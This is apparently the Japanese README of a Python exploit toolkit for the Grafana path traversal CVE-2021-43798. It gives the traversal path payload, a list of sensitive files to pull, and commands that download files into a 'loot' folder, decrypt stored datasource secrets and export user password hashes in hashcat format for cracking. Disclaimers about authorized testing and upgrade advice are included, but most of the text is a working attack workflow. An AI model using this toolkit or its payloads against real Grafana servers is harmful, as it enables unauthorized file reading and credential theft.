
CVE-2021-43798 Grafana のパストラバーサルを認可されたテストで検証するための Python ツールキット。任意ファイル読み取り PoC、シークレットの復号、セキュリティ評価のためのユーザーハッシュのエクスポートを備えています。
CVE-2021-43798(プラグインのアセットパスを通じて認証なしで任意のファイル読み取りを可能にする可能性がある Grafana のパストラバーサル脆弱性)を正規の許可を得たテストのために使用する Python ツールキットです。
このリポジトリには以下が含まれます:
grafana_poc.py: ダウンロードしたファイルをローカルに保存する対話型の任意ファイル読み取り PoC。grafana_pass_decryptor.py: grafana.ini または secret_key(またはその両方)が利用可能な場合に、Grafana で暗号化されたデータソースのシークレットを復号化し、grafana.db から Grafana ユーザーのパスワードハッシュをエクスポートするヘルパー。このプロジェクトは、自分が所有するシステム、運用しているシステム、または明示的な書面によるテスト許可があるシステムでのみ使用してください。許可のない悪用は、機密ファイル、認証情報、秘密鍵、データベースの内容、ユーザーのパスワードハッシュを露出させる可能性があります。
CVE-2021-43798 は、Grafana のバージョン 8.0.0-beta1 から 8.3.0 に影響します。修正済みのバージョンは 8.3.1、8.2.7、8.1.8、8.0.7 です。
この問題は、以下のようなプラグインのアセットルートを通じて到達可能です:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
正規の許可を得た検証中によく要求されるファイルは以下のとおりです:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
アクセス可否は、Grafana プロセスのオペレーティングシステム上の権限に依存します。
requestspycryptodome または cryptography(シークレットの復号化用)依存関係をインストールします:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
許可を得た対象に対して対話型 PoC を実行します:
python3 grafana_poc.py -H http://target:3000 -o loot
プロンプトが表示されたら、絶対パスを入力します:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
ダウンロードしたファイルは、リモートパスを安全な形で保持したまま出力ディレクトリに保存されます。例:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
grafana.ini と grafana.db の両方がある場合、復号化ツールは設定ファイルから secret_key を読み取り、暗号化されたデータソース、アラート通知、プラグインのシークレットの復号化を試みます:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
暗号化された 1 つのブロブを手動で復号化します:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
改行区切りの JSON を出力します:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Grafana のユーザーパスワードは暗号化されたシークレットではありません。ソルト付きの PBKDF2 ハッシュです。user テーブルからエクスポートします:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
hashcat モード 10900 の行のみをエクスポートします:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Grafana を修正済みリリースにアップグレードします:
8.3.1 以降(8.3 ブランチの場合)8.2.7 以降(8.2 ブランチの場合)8.1.8 以降(8.1 ブランチの場合)8.0.7 以降(8.0 ブランチの場合)すぐにアップグレードできない場合、Grafana のセキュリティアドバイザリは、リクエストパスを正規化するリバースプロキシを Grafana の前面に配置することで、このパストラバーサル動作を緩和できると述べています。これは一時的な対策であり、パッチ適用の代替ではないことに注意してください。
最初の公開 PoC は Exploit-DB の s1gh によるものです。Grafana のシークレット復号化ワークフローは、jas502n/Grafana-CVE-2021-43798 の公開研究と事例に基づいています。このリポジトリは、ラボ環境および許可を得た評価ワークフロー向けの Python ヘルパーを提供します。